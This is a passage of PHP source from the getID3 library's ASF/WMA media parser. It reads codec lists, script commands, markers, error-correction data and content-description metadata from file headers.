						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);

						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
						$offset += $CodecNameLength;

						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
						$offset += $CodecDescriptionLength;

						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
						$offset += $CodecInformationLength;

						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec

							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
								$this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"');
							} else {

								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);

								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
									$thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000;
								}
								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
								}

								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
								switch ($AudioCodecFrequency) {
									case 8:
									case 8000:
										$thisfile_audio['sample_rate'] = 8000;
										break;

									case 11:
									case 11025:
										$thisfile_audio['sample_rate'] = 11025;
										break;

									case 12:
									case 12000:
										$thisfile_audio['sample_rate'] = 12000;
										break;

									case 16:
									case 16000:
										$thisfile_audio['sample_rate'] = 16000;
										break;

									case 22:
									case 22050:
										$thisfile_audio['sample_rate'] = 22050;
										break;

									case 24:
									case 24000:
										$thisfile_audio['sample_rate'] = 24000;
										break;

									case 32:
									case 32000:
										$thisfile_audio['sample_rate'] = 32000;
										break;

									case 44:
									case 441000:
										$thisfile_audio['sample_rate'] = 44100;
										break;

									case 48:
									case 48000:
										$thisfile_audio['sample_rate'] = 48000;
										break;

									default:
										$this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')');
										break;
								}

								if (!isset($thisfile_audio['channels'])) {
									if (strstr($AudioCodecChannels, 'stereo')) {
										$thisfile_audio['channels'] = 2;
									} elseif (strstr($AudioCodecChannels, 'mono')) {
										$thisfile_audio['channels'] = 1;
									}
								}

							}
						}
					}
					break;

				case GETID3_ASF_Script_Command_Object:
					// Script Command Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
					// Command Types                array of:    variable        //
					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
					// Commands                     array of:    variable        //
					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command

					// shortcut
					$thisfile_asf['script_command_object'] = array();
					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];

					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
						$this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;

						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					break;

				case GETID3_ASF_Marker_Object:
					// Marker Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
					// Reserved                     WORD         16              // hardcoded: 0x0000
					// Name Length                  WORD         16              // number of bytes in the Name field
					// Name                         WCHAR        variable        // name of the Marker Object
					// Markers                      array of:    variable        //
					// * Offset                     QWORD        64              // byte offset into Data Object
					// * Presentation Time          QWORD        64              // in 100-nanosecond units
					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
					// * Send Time                  DWORD        32              // in milliseconds
					// * Flags                      DWORD        32              // hardcoded: 0x00000000
					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
					// * Padding                    BYTESTREAM   variable        // optional padding bytes

					// shortcut
					$thisfile_asf['marker_object'] = array();
					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];

					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
						$this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}');
						break;
					}
					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
						$this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"');
						break;
					}
					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
					$offset += $thisfile_asf_markerobject['name_length'];
					for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) {
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						if ($PaddingLength > 0) {
							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
							$offset += $PaddingLength;
						}
					}
					break;

				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
					// Bitrate Mutual Exclusion Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
					// Stream Numbers Count         WORD         16              // number of video streams
					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127

					// shortcut
					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];

					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
					$offset += 16;
					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
						$this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}');
						//return false;
						break;
					}
					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
					}
					break;

				case GETID3_ASF_Error_Correction_Object:
					// Error Correction Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field

					// shortcut
					$thisfile_asf['error_correction_object'] = array();
					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];

					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
						case GETID3_ASF_No_Error_Correction:
							// should be no data, but just in case there is, skip to the end of the field
							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
							break;

						case GETID3_ASF_Audio_Spread:
							// Field Name                   Field Type   Size (bits)
							// Span                         BYTE         8               // number of packets over which audio will be spread.
							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes

							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
							$offset += 1;
							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
							break;

						default:
							$this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}');
							//return false;
							break;
					}

					break;

				case GETID3_ASF_Content_Description_Object:
					// Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
					// Title Length                 WORD         16              // number of bytes in Title field
					// Author Length                WORD         16              // number of bytes in Author field
					// Copyright Length             WORD         16              // number of bytes in Copyright field
					// Description Length           WORD         16              // number of bytes in Description field
					// Rating Length                WORD         16              // number of bytes in Rating field
					// Title                        WCHAR        16              // array of Unicode characters - Title
					// Author                       WCHAR        16              // array of Unicode characters - Author
					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
					// Description                  WCHAR        16              // array of Unicode characters - Description
					// Rating                       WCHAR        16              // array of Unicode characters - Rating

					// shortcut
					$thisfile_asf['content_description_object'] = array();
					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];

					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];

					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
						}
					}
					break;

				case GETID3_ASF_Extended_Content_Description_Object:
					// Extended Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
					// Content Descriptors          array of:    variable        //
					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
					// * Descriptor Value Data Type WORD         16              // Lookup array:
																					// 0x0000 = Unicode String (variable length)
																					// 0x0001 = BYTE array     (variable length)
																					// 0x0002 = BOOL           (DWORD, 32 bits)
																					// 0x0003 = DWORD          (DWORD, 32 bits)
																					// 0x0004 = QWORD          (QWORD, 64 bits)
																					// 0x0005 = WORD           (WORD,  16 bits)
					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
					// * Descriptor Value           variable     variable        // value for Content Descriptor

					// shortcut
					$thisfile_asf['extended_content_description_object'] = array();
					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];

					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
						// shortcut
						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];

						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							default:
								$this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')');
								//return false;
								break;
						}
						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {

							case 'wm/albumartist':
							case 'artist':
								// Note: not 'artist', that comes from 'author' tag
								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/albumtitle':
							case 'album':
								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/genre':
							case 'genre':
								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/partofset':
								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/tracknumber':
							case 'tracknumber':
								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
								$thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								foreach ($thisfile_asf_comments['track_number'] as $key => $value) {
									if (preg_match('/^[0-9\x00]+$/', $value)) {
										$thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value));
									}
								}
								break;

							case 'wm/track':
								if (empty($thisfile_asf_comments['track_number'])) {
									$thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								}
								break;

							case 'wm/year':
							case 'year':
							case 'date':
								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/lyrics':
							case 'lyrics':
								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'isvbr':
								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
									$thisfile_audio['bitrate_mode'] = 'vbr';
									$thisfile_video['bitrate_mode'] = 'vbr';
								}
								break;

							case 'id3':
								$this->getid3->include_module('tag.id3v2');

								$getid3_id3v2 = new getid3_id3v2($this->getid3);
								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								unset($getid3_id3v2);

								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
								}
								break;

							case 'wm/encodingtime':
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
								break;

							case 'wm/picture':
								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								foreach ($WMpicture as $key => $value) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
								}
								unset($WMpicture);
/*
								$wm_picture_offset = 0;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
								$wm_picture_offset += 1;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
								$wm_picture_offset += 4;

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

